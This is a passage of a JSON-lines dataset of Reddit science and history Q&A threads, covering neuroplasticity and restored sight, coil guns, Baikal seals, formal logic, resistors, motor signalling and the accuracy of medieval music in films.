very three dimensional.\n\nA blind person given sight sees a confusing patchwork of colour, luminosity, and movement that is entirely different from his learned ways of perceiving the would. [This](_URL_1_) is an interesting excerpt of an account by Oliver Sacks regarding a 50 year old man who had been blind for 45 years and had his sight restored with surgery. [Here](_URL_0_) is another article written by Oliver Sacks on the subject.", "Okay, so my pet favourite field of science is neuroplasticity. While not exactly what you asked, it's entirely possible for the brain to forge new pathways, connecting experiences as sensory input. For example, there's a suit that was created with a plane of bumps that can inflate and deflate. If the suit is hooked up to a camera, the bumps will inflate to make an image pressed against the person's back. Gradually, their brain begins to interpret the shifting bumps to be images, and can \"see\" individual shapes and objects. ", "If possible, let's say you have a magic wand to bestow the working physical apparatus for sight, this would likely be indescribably cruel. The functional areas of the brain dedicated to vision would have been long ago used for something else or merely atrophied. Some combination of that is most likely. If stimulating the brain of a nonsighted person does anything then it's not ever going to be anything like sight as sighted people know it. \n\nIf a child never learns to speak or sign or whistle or whatever that child will never, not ever, learn to communicate and interact with people who can. It's an ability that's not use it or lose it. Without engaging it in the first place then the ability wouldn't be there at all.\n\nInfants come out already having the visual cortex stimulated if they have functional eyes. ", "I heard this podcast about a guy who uses echo location. He is completely blind yet in his mind he can visualize objects with the echo location. I'm explaining it badly. Listen to the podcast. It's really good. _URL_0_", "Neurodevelopment experiments have demonstrated a critical window period for the development of the visual cortex after birth. If the eyes of experimental animals were sown shut after birth, other territories of the cortex expanded to take over the area that is normally occupied by the nerves running from the lateral geniculate body.\nTLDR: use it or lose it applies here."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=pwOoqkLwL40", "http://www.nature.com.sci-hub.bz/nrn/journal/v17/n5/pdf/nrn.2016.22.pdf"], "answers_urls": [[], [], ["https://www.erowid.org/references/refs_view.php?ID=2205", "http://jamanetwork.com/journals/jamaophthalmology/article-abstract/627109"], ["https://www.reddit.com/r/askscience/comments/16t96b/what_happens_if_we_artificially_stimulate_the/?ref=share&amp;ref_source=link"], [], [], ["https://en.wikipedia.org/wiki/An_Anthropologist_on_Mars"], [], ["http://trove.nla.gov.au/newspaper/article/71493039"], ["http://journals.lww.com/neuroreport/Abstract/2001/08080/Visual_imagery_without_visual_experience__evidence.61.aspx", "http://brain.oxfordjournals.org/content/125/3/479.short", "https://en.wikipedia.org/wiki/Phosphene", "http://ac.els-cdn.com/S0960982209008859/1-s2.0-S0960982209008859-main.pdf?_tid=acd804a0-9896-11e6-8869-00000aacb361&amp;acdnat=1477168539_53cce497b1bbd0c1049aadd35fc99fb8"], [], ["http://powers.media.mit.edu/wiki/upload/MindsEye.pdf", "http://timothyquigley.net/vcs/sacks-seeing.pdf"], [], [], ["http://www.npr.org/programs/invisibilia/378577902/how-to-become-batman"], []]}
{"q_id": "2n3bup", "title": "What is the science behind the Gauss rifle?", "selftext": "Im learning about magnetic accelerators and a topic came up about their uses in the military and new-era tech. I understand how it works and builds but, what is the science behind such a design? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2n3bup/what_is_the_science_behind_the_gauss_rifle/", "answers": {"a_id": ["cma04tn"], "score": [43], "text": ["A gauss rifle is also known as a coil gun, since it uses electromagnetic forces from a coil of wire to push or pull projectiles. There are two types, ferromagnetic and electrodynamic.\n\nIn a ferromagnetic coil gun, the coils pull on the projectile. A ferromagnetic circuit wants to minimize air gaps when there is a current flow, so the projectile experiences a force to be inside the coil. When the projectile is in the center of the coil, the coil is turned off and the projectile momentum carries it forward. The projectile must be made of a ferromagnetic material, like iron.\n\nIn an electrodynamic coil gun pushes a conductive projectile using the skin effect. Rapidly changing currents must slowly soak in to any conductor, which is why AC transmission lines cannot be arbitrarily thick and contain many parallel conductors. If a conductor is near a coil that has a rapidly changing current flow, it will be repelled. In this type of coil gun, the coil is located slightly behind the projectile, and pushes it away. The projectile must be conductive, and is commonly Aluminum or Copper.\n\nBoth types can contain multiple stages, where the projectile location in the barrel is measured, and the coils are fired in a useful sequence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7dxjzi", "title": "How did a population of landlocked seals manage to establish itself in lake Baikal, of all places, at an altitude of 450 m and several hundred kilometers from the Nearest coastline???", "selftext": "I'm familiar with other landlocked seal populations, such as those in Lac des Loups marins in northern Qu\u00e9bec, but those are right next to the coast and roughly at sea-level too .... easily explained by isostatic rebound. \n\nBut Baikal???\n\nThe Baikal critters are perched way up at almost half a km altitude and almost 1500 km from the closest coast (the Okhotsk sea).\n\nI don't get it...\n\nAnd if it happened in Baikal, why not in other large freshwater lakes such as lake Superior, Great Bear lake ~~or even lake Ladoga~~?\n\nEDIT: thanks to /u/Gsdthrowaway1 for bringing the lake Ladoga seals to my attention. But these are still landlocked seals in a place that makes sense : a low-lying lake in a flat area prone to isostatic rebound within spitting distance of the sea.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7dxjzi/how_did_a_population_of_landlocked_seals_manage/", "answers": {"a_id": ["dq15pz6", "dq1a08q", "dq1atus", "dq1c2yv", "dq1f9qj", "dq1fbl2", "dq1llm1", "dq1qb3m", "dq2iher"], "score": [1808, 168, 92, 21, 68, 38, 180, 12, 5], "text": ["I once came across [this article](_URL_2_) that tackled this very question. Even though the article is written for a broader audience, its author is an expert in the field (and it's well sourced to boot). The gist is that at present (at least as of a few years ago) there was no clear consensus. Instead, there were two key hypotheses about where the Baikal seals came from.\n\n1. Seals from the [Paratethys](_URL_1_), that huge ass sea in southern Eurasia tens of millions of years ago, could have wondered north reaching what is now Lake Baikal. Just how exactly that could have happened is quite spotty since it would have required the seals hopping through multiple rivers and lakes across a long distance.\n\n2. Alternatively, the seals could have moved north to south from the Arctic. Essentially the idea is that the seals would have moved down through the [Yensei/Angara Rivers.](_URL_0_) eventually reaching the waters that formed Lake Baikal.\n\nSince this is not my field I am not sure if there has been any new research on this topic that may give a more conclusive answer. But it sure is a fascinating question!", "I don't have links off hand, but I understood lake Baikal to be very ancient in relation to other major lakes and All the fauna of the lake to be different not just seals.\n\nAs for the Great lakes they were blocks of ice first and fresh water fish populated it. Lake Baikal was not glacially formed.", "Lake Ladoga has its own seal, the Ladoga seal. Also for example in Saimaa Finland there is the Saimaa Seal (very small population)", "Does anyone think it could have been the flooding that happened during the younger-dryas period? Supposedly meteor impacts melted a large area of Northern ice caps and caused global flooding. Could this have helped the seals cross greater distances? Or do I not know what I'm talking about?", "I love reading discussions between people with similar, and specific knowledge. Right now, some one out there has spent a large portion of their life trying to figure put how some seals got to an isolated lake. Then, one guy asks the same question on the internet and finds an answer in an hour.", "Has anyone considered a human cause? Perhaps in pre-history? \n\nThere is a (much shorter) portage in Canada where fish made it upstream of a significant waterfall. \n\nThe geology and glaciation history negate any possibility of the fish swimming, and while there are several species below the waterfall, there is only one upstream. So the conclusion is that someone bagged fish(in water skins) and took them up stream. This predated Europeans in the area. This occurred at Athabasca Falls, Jasper National Park, Alberta, Canada.\n\nAs seals are mammals, and much less stressed being out of water, it seems possible that humans could have carried seal pups overland some ways. It wouldn't have to be 100s of km. ", "Marine mammal paleontologist here: it's a subject of debate in the literature, and to be clear, my focus is typically on walruses (Odobenidae) and sea lions (Otariidae) but I have dabbled in true seal phylogeny/paleontology (Phocidae). \n\nPhocinae - specifically the Phocina tribe (Pusa + Phoca - Baikal/ringed/caspian seals + harbor/spotted seals, respectively) are a relatively recent, completely post-Paratethys diversification (likely during the Pliocene). The whole Paratethys idea is bunk and based on some rather antiquated Ukraine/USSR/eastern Bloc-centric ideas of seal evolution from the 60s/70s (Chapskii, Grigorescu, 'reanimated' by Koretsky).\n\nMy own preferred hypothesis, and I hope this is covered in the literature (if not I've got an easy paper to write!), is that these seals colonized the Caspian Sea and Lake Baikal via the West Siberian Glacial Lake during the Pleistocene - a huge pond of meltwater at the edge of the Siberian ice sheet. This would have been semiconnected to the ocean by rivers of meltwater. Our own Great Lakes are the remnants of these lakes around the perimeter of the former Laurentide ice sheet (though the ground is depressed due to glacial isostasy - literally, the weight of the ice sheet compressed/depressed the earth's crust). Matter of fact, the Champlain Sea (now only lake Champlain) in New York/Vermont/Ontario/Quebec is now mostly dry but deposits of this glacial 'sea' are rich in now-Arctic marine mammals (beluga, ringed seal, walrus, etc.).\n\nSo yes, technically a seal could swim up a river nowadays but during certain periods of the Pleistocene it was much easier owing to the vast lakes of meltwater along the edge of the ice sheet - just like the Champlain sea.", "I'm more familiar with the Caspian seals, but [in terms of their ancestry and apparent timing of separation from their closest relative in the open ocean, the Baikal and Caspian seals often are discussed together](_URL_1_). As much I've continued to follow this story, it does seem like the hypothesis that they come from the Arctic (as referenced in this article and by several other comments) seems to be the most supported. Not sure of Baikal's history, but in the Caspian, the rough timing of the separation of the Caspian seal from its source population corresponds with a massive highstand (the Akchagylian stage for any Caspian chronostratigraphy buffs out there) in Caspian sea level where the mapped extents of deposits reach near (but don't quite get to the) Arctic ocean. The base-level history of these internally drained lakes (e.g. Caspian, Baikal, Aral, etc) can get real wacky, the Caspian for example had base level variations in excess of 1 km [(e.g. this paper I wrote a few years back assembling a sea-level curve for the Caspian)](_URL_0_).", "This was a pretty fascinating question.  I've done some digging, and might have a possible hypothesis though since I don't have access to university internet at the moment I can't get the journals which might have evidence to support it, which is really frustrating.\n\nSo first of all, we have a few definite freshwater seal populations that have been mentioned elsewhere.  We have a lake in Quebec, a lake in Finland, a lake in Russia, and a lake in Alaska, and of course Lake Baikal.  And the Caspian Sea.  All these are large lakes, But they aren't all the same.  Baikal and the Caspian sea are _huge_, deep, and inland, while the others are smaller but much closer to the shore.  The others all appear to have originated or been heavily modified by glaciers, while Baikal and the Caspian sea are older.  \n\nSo the question is: why no seals in the big glacial remnant lakes of North America...the Great Lakes and the Great Bear lake.  They aren't unique though...there are no seals in Lake Onega, which is only slightly inland from lake Lagoda.  There are no seals in a variety of other inland lakes in Russia.\n\n\n\nWhat makes this particularly interesting is that I've been able to find a few references that indicate there _were_ seals in the great lakes (or their ancestors lakes) during the ice age.  There are apparently seal and even whale fossils from Wisconsin. Unfortunately I don't have good access to papers on the topic so I am lacking in details.  But maybe the question is really \"Why didn't seals _survive_ in these lakes?\n\nIf I had to hypothesize, I'd say that climactic variability might have played a role.  Seals are clearly not perfectly suited to freshwater environments...they seem to only survive there in a few cases.  Towards the end of the last glacial period you'd have seen a whole lot of variability at these inland lakes...massive changes in size, changes in temperature, changes in salinity.  All that in a constrained area, the seals might have just been driven to extinction.  Enormous old lakes like the Caspian and Baikal would have provided greater stability, while those nearshore might have either been had climates moderated by oceanic influence or had their populations supplemented by migrants from the ocean.  But with big interior lakes it might have  just been too much for seals to survive once the huge glacial meltwater lakes dissipated. I mean what happens to the seal population if, eg, the whole lake freezes over for a year or two in a row.  Or if the temperature spikes.  Or if there's a decade of poor fish stocks.  There's not a lot of distance to travel in these inland lakes to escape that sort of thing.\n\nAnyway, that' a hypothesis  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/d/d5/Yeniseirivermap.png", "https://en.wikipedia.org/wiki/Paratethys", "http://scienceblogs.com/tetrapodzoology/2010/06/15/most-inconvenient-seal/"], [], [], [], [], [], [], ["http://www.sciencedirect.com/science/article/pii/S0031018213002836", "http://web.corral.tacc.utexas.edu/UAF/arctos/2011_08_16/Palo_etal_2006_The_enigma_of_the_landlocked_Baikal_and_Caspian_seals_addressed_through_phylogeny_of_phocine_mitochondrial_sequences.pdf"], []]}
{"q_id": "6yioh3", "title": "what is the difference between first-order logic and higher-order logic?", "selftext": "Can you give examples?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6yioh3/eli5_what_is_the_difference_between_firstorder/", "answers": {"a_id": ["dmno7c3", "dmnpz0o"], "score": [2, 2], "text": ["In first order logic, you can make statements about groups of individual objects, such as \"all squares are rectangles\".\n\nIn second order logic, you can make statements about statements themselves, such as \"a statement is not necessarily true if its inverse is false\".\n\nIn higher order logic, you can do even more complex and powerful statements.", "It is basically a meta thing.\n\nFirst order logic is about basic assertions.\n\n* I am a butcher or a baker\n* If I am in Canada, then I am not in Mexico\n* He is either smart or good looking, but not both\n\nFirst order logic can be analyzed directly with true tables.\n\nSecond order logic is assertions about first order logic, whether the statement is always true, true at least some of the time, or never true.\n\n* No one is both a butcher or a baker\n* For any two countries X and Y, if you are in X, you are not in Y\n* Some people are both smart and good looking\n\nAnother way to distinguish first and second order logic is that first order is about \"things\" and second order is about sets of things.  Third order is about sets of sets of things, but that is less natural talk about after second order, everything gets lumped into higher order logic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aiaqvp", "title": "Do electrons/energy build up at the entrance to the resistor?", "selftext": "I know a resistor limits the amount of current that flows in a circuit, but does this cause a buildup of electrons, heat, or energy at the entrance of the resistor?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aiaqvp/do_electronsenergy_build_up_at_the_entrance_to/", "answers": {"a_id": ["eemby6r", "eemcbn2", "eemdlq3"], "score": [2, 5, 14], "text": ["The resistor will dissipate heat as a way to reduce the voltage....  resistors are sized by the wattage (or amount of heat) it can handle.  this is why a resistor symbol can be a substitute for a load in a circuit when analyzing it...  hope that helps.", "Yes, that\u2019s why there\u2019s a voltage change across the resistor: there\u2019s a slight pile-up of charges on one side and a slight deficit on the other.\n\nHeat and energy dissipation happen throughout the body of the resistor.", "Voltage builds up, current (actual electrons) does not. Think of it this way:\n\nJust because there is a dam doesn't mean the steady-state flow of the river is different. If the damn tried to slow the flow of the river (too much), the river would crest the dam and it would catastrophically fail.\n\nVoltage is the height of the water behind the dam relative to the water on the other side, current is the water flowing through from the high side of the dam to the low side. \n\nIt's not a *perfect* example, since there really is no 'buildup time' for a resistor like there is for a dam (say right after construction was completed, or after a drought), but it's a helpful visualization. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6jj5dp", "title": "If I move both my index fingers at once, am I sending one signal to both hands, or am I sending 2 individual signals? Is there a signal queue?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6jj5dp/if_i_move_both_my_index_fingers_at_once_am_i/", "answers": {"a_id": ["djexx2m", "djf09by", "djf0nz0", "djffzm4"], "score": [3, 21, 4, 2], "text": ["It would be 2 individual signals, as one half of a person's brain controls one half of its body and vice versa. The fingers are on opposite sides of the body, so the brain would have to create separate signals. \nSomeone correct me if I'm wrong, this is based off of personal knowledge and I have no source to back up my statement. ", "Lots of signals!\n\nHow are you moving your index finger? Just a quick movement and then stop? Sustained goal-tracking? Sustained proximal extension?\n\nThere is a swirl of signals operating between prefrontal cortex (probably both sides), supplementary motor cortex (probably both sides) and primary motor cortex (primarily contralateral to the moved finger); as well as between cortex, brainstem, cerebellum, thalamus, and back to cortex; and between cortex, basal ganglia, thalamus, and cortex. These are all for smoothing movements, planning movements, etc.\n\nThe final pathway is a series of pulses down the corticospinal tracts to alpha motoneurons in your spine, which send pulses directly to muscle fibers in your forearm and hand. Depending on how much effort you need, there may be more or fewer groups of muscle fibers contracting, and at different rates. The rates are governed by the spiking rate in the alpha motoneurons and the groups are governed by the activation pattern in the cortex and the spine.\n\nWith sustained effort, there will be a feedback loop set up with additional spike trains sent by intrafusal muscle cells and bag fibers both to the motoneurons and up the dorsal columns to the thalamus and the cortex to help regulate the muscle firing rate. If you're looking at your finger, that information can also be used as feedback. So now there's visual processing and flows from association visual cortex to prefrontal cortex.\n\nThere's no queue. Neurons send spikes, or *action potentials*, at varying rates. They code for responses by the rate of spiking or sometimes by the timing of spikes. Spikes propagate from neuron to neuron by the release of neurotransmitters across small fluid gaps (the synapses). Of course spike trains can also lead to inhibition, setting a gate to interrupt spike propagation from other cells (analogous to a transistor); or they can cause changes in gene expression altering the properties of the target neuron (analogous to resetting circuit props in an FPGA).\n\nSo if you're extending both index fingers, you have bilateral corticospinal tract signalling, bilateral dorsal column signalling, and bilateral intraspinal, cerebellar, basal ganglionic, thalamic, visual, and prefrontal signalling.", "I was a subject in a transcranial magnetic stimulation study that involved exactly that; moving index fingers. \n\nTo calibrate the machine, they have to find your 'motor threshold'. They aim the TMS machine at your motor cortex, and stimulate the area of your brain responsible for moving your index finger (which feels pretty strange). The minimum strength of stimulation that causes your finger to move is your motor threshold. \n\nIt's very distinctively one finger or the other, meaning that at least at the motor cortex level, moving both index fingers would be two separate signals. \n\nThis doesn't necessarily mean that it isn't one signal somewhere else that's later split. It might originate as one signal higher up in your brain's control process, but I don't know enough to comment on that. ", "Skeletal muscles are made of \"motor units\", groups of muscle fibers all of which receive a synapse from a single motor neuron axon located in the central nervous system (brain and cord). In big muscles, a single neuron may control thousands of muscle cells in synchrony or only a few, permitting finer control. Thus the motor neurons which move muscles on opposite sides of the body reside on opposite sides of the CNS. Queue? Doesn't compute."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "xf4cc", "title": "How accurate is the music that we hear in \"medieval\" television shows and movies?", "selftext": "I was watching A Knight's Tale last night and commenting to myself the absurdity of the music that's in it (the movie does not even pretend to be accurate-which I am ok with).  But then I thought of other movies and shows I have seen where I am not sure how accurate the music is.  I guess more specifically, the music in shows like the Tudors, where it is meant to come off as accurate.  Is it actually accurate?  Or are there just as many \"artistic liberties\" as there are with the plot?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/xf4cc/how_accurate_is_the_music_that_we_hear_in/", "answers": {"a_id": ["c5nx5iy", "c5ltb0j", "c5lu3tg", "c5lulhj", "c5lv2mh", "c5lvhrx", "c5lvjsq", "c5lvqd4", "c5lwfun", "c5lwmuj", "c5lxkd5", "c5ly12r", "c5m3flx"], "score": [3, 16, 586, 4, 36, 7, 7, 80, 10, 13, 3, 18, 2], "text": ["yes! I love medieval music. \n\nhere is a video of a friend and I doing a virelai by Machaut:\n\n_URL_0_\n\nMachaut wrote both the music and the poetry, and he was considered a great master of both arts. Those of you who speak French will notice that the text is a little weird by modern standards, and that's because it's old French. Because this piece was originally notated as only a melody, our interpretation is full of guesses. The harp part is what we thought sounded about right, and the soprano descant is improvised.", "We have a lot of music that survives from those periods and so I would say the music is (potentially) very accurate, given the differences between modern and period instruments, performance styles, and other small factors like that. Go to Youtube and check out, for example, [John Dowland](_URL_0_), and then some of the other early composers Youtube leads you to.", "I imagine, and this is mostly conjecture, that liberties have been taken. Some of the \"greatest hits\" of medieval music, so to speak, would not resonate with a modern audience. Take, for example, [this](_URL_27_), \"Fortz chausa es\", regarded by scholars like John Gillingham as one of the most significant and influential pieces of medieval music.\n\nEdit 2: Thank you all for the kind words! Please do not stop here, though! As some have mentioned, my examples are almost chiefly western European (I am a historian of the Angevin Empire and the Plantagenet dynasty), and mostly court music at that! See [DonkeyLickingIsWeird's](_URL_30_) post and especially [brushbender's](_URL_37_) below. Good stuff folks!! I've updated my list with a suggestion from [randommusician](_URL_8_), as well.\n\n**Edit 3**: Added some more. Most of my collection is of French origin but I avoided adding more of the same. Compare all this to what you hear in media, and then you can judge how accurate Hollywood et al. truly is when recreating medieval ambiance! If you are interested in other French/Occitan medieval composers/troubadours/trouv\u00e8res/jongleurs check out Adam la Halle, Giraut Riquier, Jehan de Lescurel and Giraut de Bornelh. Some very good stuff to be found!\n\n*The latest additions are situated below William IX*\n\nSome well known \"artists\" (bards, troubadours) or musical pieces of the medieval period:\n\n* **Guillaume Machaut** - [Example 1](_URL_14_) [Example 2](_URL_34_). de Machaut is a *very* big name in medieval music. Arguably the most influential next to Faidit (below)\n\n* **Gaucelm Faidit** - (see original link) Like de Machaut, a medieval musical \"heavyweight\"\n\n* Guiot de Dijon - [Example](_URL_4_)\n\n* [Leonin](_URL_19_) - [Example](_URL_12_)\n\n* [Dem pac d'invern](_URL_33_) I have a *beautiful* recording of this but sadly it isn't on youtube. Not sure of its origin.\n\n* *Courtesy of randommusician* [Pal\u00e4stinalied (Palestine Song)](_URL_5_) [(Modern rendition)](_URL_15_) by the German [Walther von der Vogelweide](_URL_39_)\n\n* [Richard I, Coeur de Lion](_URL_38_) - [Je nus hons pris](_URL_26_) a composer in his own right, produced a very important lament whilst imprisoned in Saxony\n\n* [Theobald the Troubadour](_URL_11_) - [Au tens plain do felonnie ](_URL_29_)\n\n* [Alfonso X of Castile](_URL_6_) - Known for composing [dance music](_URL_22_)\n\n* [**William IX**](_URL_16_), Eleanor of Aquitaine's grandfather. So sorry for leaving him out as he was most certainly the first definitive \"troubadour\" as we know it. [Example](_URL_24_)\n\n* [Der Kuninc Rudolf](_URL_40_), by medieval German composer/poet Der Unverzagte\n\n* [Vitslav, Prince of Rugen](_URL_18_), Danish composition [Loibere risen](_URL_20_)\n\n* [Conon de Bethune](_URL_0_) provides a decent example of music composed by Europeans whilst outside Europe. Conon participated in both the Third and Fourth Crusade. [Ahi! Amours](_URL_13_). There does seem to be an eastern influence on the music, although maybe this can be attributed to the recording. My personal recording is similar.\n\n* Martin Codax was a Galician (northwest Spain) [Ay Ondas](_URL_21_)\n\n* Senleches was a medieval Flemish composer [En attendant esperance](_URL_10_), simply wonderful\n\n* Johannes Ciconia, a medieval composer from the Italian city of Padua [Una panthera](_URL_28_)\n\n* Some examples of medieval English compositions, all in middle English, all anon [Bryd One Brere](_URL_3_), [Edi be thu, Heven-Queene](_URL_31_). This one is in Latin [Angelus Ad Virgenem](_URL_7_)\n\n* Croatian compositions [Bog se rodi ba Betleme](_URL_2_), [Koleda na bozic](_URL_23_), [Kod Bethlehema](_URL_32_)\n\n* Bulgarian [Mari stanko](_URL_25_)\n\n* Macedonian [Nevestinko oro](_URL_1_)\n\n* [Dudul (Turkish origin)](_URL_35_)\n\n* [Melvana (Sufi)](_URL_36_)\n\n* [This manuscript](_URL_9_) includes late medieval songs by unknown artists.\n\n* My personal favorite [Tempus est Iocundum](_URL_17_). From the [*Carmina Burana*](_URL_41_)\n\nOkay, so probably a lot more than you wanted to know, but in any event, here are some modern compilations of medieval music. Album titles below. All can be found on amazon:\n\n* Chanterai - Music of Medieval France\n\n* Courts, Kings  &  Troubadours - Medieval  &  Renaissance Music\n\n* Le Chant des Cath\u00e9drales (1986)\n\n* L\u00e9onin, P\u00e9rotin - Sacred Music From Notre Dame Cathedral\n\n* **Machaut, Guillaume de - 'Le vray remede d'amour' (1988)**\n\n* Music of the Crusades\n\n* Neo-Medieval (1997)\n\n* **On the Way to Bethlehem - Music of the Medieval Pilgrim**\n\n* Sinners  &  Saints\n\n* **Songs  &  Dances of the Middle Ages**\n\n* 'The Last of the Troubadours' (1991)\n", "As an additional question (based on the two responses so far), what about folk music? Do we have much accurate folk music? From how far back?", "Music degree here (though admittedly pretty rusty on pre-1600 common practice music).  \n\nI can't speak specifically for A Knight's Tale, but in general when watching medieval movies and there is a big feast/dance scene, seems to me you'll often hear Renaissance music that sounds like this: _URL_2_\n\nThis is the dance music of its day.  If you listen to it enough you'll start dancing too.  I'm not joking -- it's rather more interesting than today's dance music in many ways, with some pretty sweet beats and lots of interesting syncopations.  However, this music didn't really come into place until around 1400.   If your movie takes place before then, you may be the victim of an anachronism.  \n\nThere is also church music that you might hear in films, such as this ditty by Palestrina: _URL_3_\n\nTruly heavenly music, but also truly Rennaissance -- not really medieval.  What you would have heard in church during medieval times would be much simpler.  Chant, organum, precursors to the much more complex polyphony of the Renaissance composers: _URL_1_\n\nLastly, if you hear something like this: _URL_0_ then enjoy the hell out of it, but know that it's got nothing to do with medieval times historically.  Orff was a 20th century composer.\n\nAnyhow, I hope this gives you some context for a little wikipedia reading if you're still curious.", "Former PhD graduate student here in Byzantine Studies here who studied the interrelated discipline of music/culture in Europe during the Middle Ages.\n\nA lot of it has been touched on well by the other posters, but I wanted to bring to your attention a subset of performance / music really popular during the period.\n\nThe oral tradition of storytelling was popular during the High Middle Ages due to widespread illiteracy.  A literary tradition that began in France around this time centered around romance, courtly love, and chivalry.  Think stories like King Arthur and extremely romantic literature (longing glances, eternal love, caresses, you get the drill).  Musical poets, called troubadours (trobaritzes for the rare female) were lyrical poets who recounted these stories to musical accompaniment.  Sometimes they just sang, but often they knew how to play fiddles / lutes as well.\n\nThe closest thing I could think of off of the top of my head is a contemporary rendition.  In one of the \"Lord of the Rings\" films, Pippin sings a very beautiful song/poem.  The song itself was a poem that Tolkien wrote, and it is done very much in the tradition of the French troubadour.", "A lot of it is actually quite accurate, as western music post 1400ish is all pretty damn well preserved. Even the stylistic embellishments beyond the notes were described in great detail in texts separate from scores. The one problem I see a lot is that Renaissance music gets thrown into just about every time period between Medieval and Baroque, and Medieval music sometimes gets thrown into the Renaissance. Sad dramatic scene in Renaissance time? Better throw in some heavy-ass dorian mode Medieval stuff. Oh, light hearted romantic interlude in the Medieval gore fest? Better throw in a crappy Dowland lute song ripoff! I can't think of examples, it's just something I notice every once in a while. Hardly a rule though.\n\nOther commenters have given lots of good feedback too, with excellent examples of real period music! Very cool!", "The problem is, medieval music has so much more variety than many of these shows seem to realize. Music in Europe was very church-centric during this time, and you can see how much it changed even under the strict rules of the Catholic church.\n\nWhat we hear today as \"medieval music\" is typically monophonic [plainchant](_URL_7_), which descended from both Byzantine and Roman/Frankish sources. This was an early medieval period style of church performance. Truth be told, there were many different styles of plainchant existing simultaneously throughout this period, and Gregorian chant itself didn't reach any sort of formal standardization until the 1000s.\n\nEventually, around the ninth century, composers of chant grew bored with the single-lines of plainchant, and began adding more. It began with parallel organum, where lines would move together, maintaining a constant interval space between them (usually a fifth, though occasionally done in octaves.) This developed into [free organum](_URL_5_), where the voice about the cantus firmus was very free in its movement.\n\nAfter a while, this upper voice began to grow more florid, singing two, three, or more notes for every note the original chant sang. Composers also continued to add more voices. This resulted in what, in my opinion, is some of the most fascinating and beautiful music ever composed. A wonderful example of this is Perotin's [Viderunt omnes](_URL_0_), in four voices. The original chant is the bottom line. Look at how complex things have gotten - they sing for a full minute before reaching the second *syllable.*\n\nFurther on in history, in the 1300s, things get even more complex. A new movement called *ars nova* dominated in France, introducing new ways to divide notes and rhythms. This also brought about musical devices such as *isorhythm*, which used a repeating rhythmic pattern on a melody in the tenor (called the *color*.) This style of composition is seen in the compositions of Guillaume de Machaut, whose [Messe de Nostre Dame](_URL_3_) is the first Ordinary setting that we can pin on one composer. This style of music can be shocking to modern listeners, as it is remarkably dissonant - remember that the individual lines were more important to these composers than harmony, which wasn't really a concept yet.\n\nA continuation of ars nova concepts led to ars subtilior, where we see *incredible* rhythmic complexity: in Caserta's secular ballade [En remirant vo douce pourtraiture](_URL_1_), each voice is written in a different meter, causing harmonies to blur together. From there...things started to go Renaissance on us.\n\nAs for secular music as a whole, we don't know as much, purely due to the fact that the Church kept records of their music. The few surviving examples show that music varied based on region. In France, the troubadours and trouvares left behind a legacy of about 4500 songs, though many are missing their melodies. [Troubadour song.](_URL_6_) \n\nIn Germany, a similar tradition of poet-musician developed - the Minnesinger. By far the most famous Minnelied is the [Palestinalied](_URL_8_). For both the French and German surviving texts, much is unclear - rhythms are educated guesswork, and we're sure there was some form of instrumental accompaniment, but not sure exactly what that was.\n\nWe have manuscripts of about fifty dance pieces from the 13th and 14th centuries - [example.](_URL_4_)\n\nThat's a very patchy overview of why medieval music has more variety than many people think. After typing this, I realized that there was a specific reference to the Tudors, which is more Renaissance. I can do an overview of Renaissance music as well, if there's interest.\n\nSource - Music History Class, which used [Norton's History of Western Music](_URL_2_) as its main textbook.", "It's my time to shine!\n\nWell, not really, but with all due respect to AskHistorians, I suspect the community over at /r/classicalmusic (or /r/earlymusic) would be even more knowledgeable about this, because musicians are generally much more in tune (as it were) with music history than non-specialist historians, and a lot of it is still being performed today. (EDIT: If you post an example in /r/classicalmusic, someone will either name the piece or explain how they know it's inauthentic and was written specifically for the show. This happens frequently.)\n\nAnyway, I don't know as much as some of the commenters in those subreddits do, but I can say a few words. A lot of these films use big sweeping orchestral (= Wagnerian) soundtracks to convey the sense of Epic (= Wagnerian). [Here is Wagner himself being used unironically in *Excalibur*.](_URL_1_) That's nice and I have nothing against it, but of course it has just about exactly zero in common with anything you could have heard in the Dark/Middle ages, with the simplest reason being that orchestras of such scale and most of the instruments didn't exist yet.\n\nI don't know the shows you mention, but I've heard very little medieval/Renaissance music used in films set in that era. Frankly I don't know why; it's full of lively and catchy tunes. Just e.g. [this recent thread](_URL_0_).", "First off, you've got to listen to some medieval music. It is intellectually adventurous, exciting, mesmerizing...and the best part is the goosebumps you get when you hear something that was composed by a mind from many, many centuries ago. It's a visceral connection to a different world, and the fact that music dreamed up by folks living so long ago can still move us is just astonishingly cool.\n\nRegarding A Knight's Tale...I never knew whether to be offput or impressed with the decision to deliberately include anachronistic music. But fortunately it WAS deliberate; the director apparently wanted to convey the \"spirit\" of medieval revelry, which is a valid approach. I get that. But nowadays enterprising ensembles around the world (particularly in France and Italy) are performing medieval music in ways that are both exciting AND authentic, in that they reflect contemporary accounts/treatises/notation/technologies. It's called \"historically informed performance,\" or HIP, and it's awesome!\n\nNewer groups include: La Reverdie, Diabolus in Musica, Blue Heron Choir (American!), Capilla Flamenca, Ensemble Musica Nova, Ensemble Micrologus, Ensemble La Morra, Cappella Pratensis...and so many more. Older pioneers: Sequentia, Ensemble Gilles Binchois, Alla Francesca, Ferrara Ensemble, Ensemble Organum, Ensemble Project Ars Nova (also American!), Gothic Voices, The Orlando Consort...I know I'm leaving many out. You should definitely give all these groups a listen if you're interested in hearing what medieval music probably sounded like. Ensemble Organum in particular will freak you out with their interpretations of non-Gregorian chant systems, e.g. Mozarabic: [Hymnus Trium Puerorum](_URL_2_)\n\nEnsemble Project Ars Nova is a must-listen for Ars Nova (\"new art\") and Ars Subtilior (\"subtler art\") repertory. I believe other commenters have covered these terms, but basically they are the answer to developments in notation in the late thirteenth century that 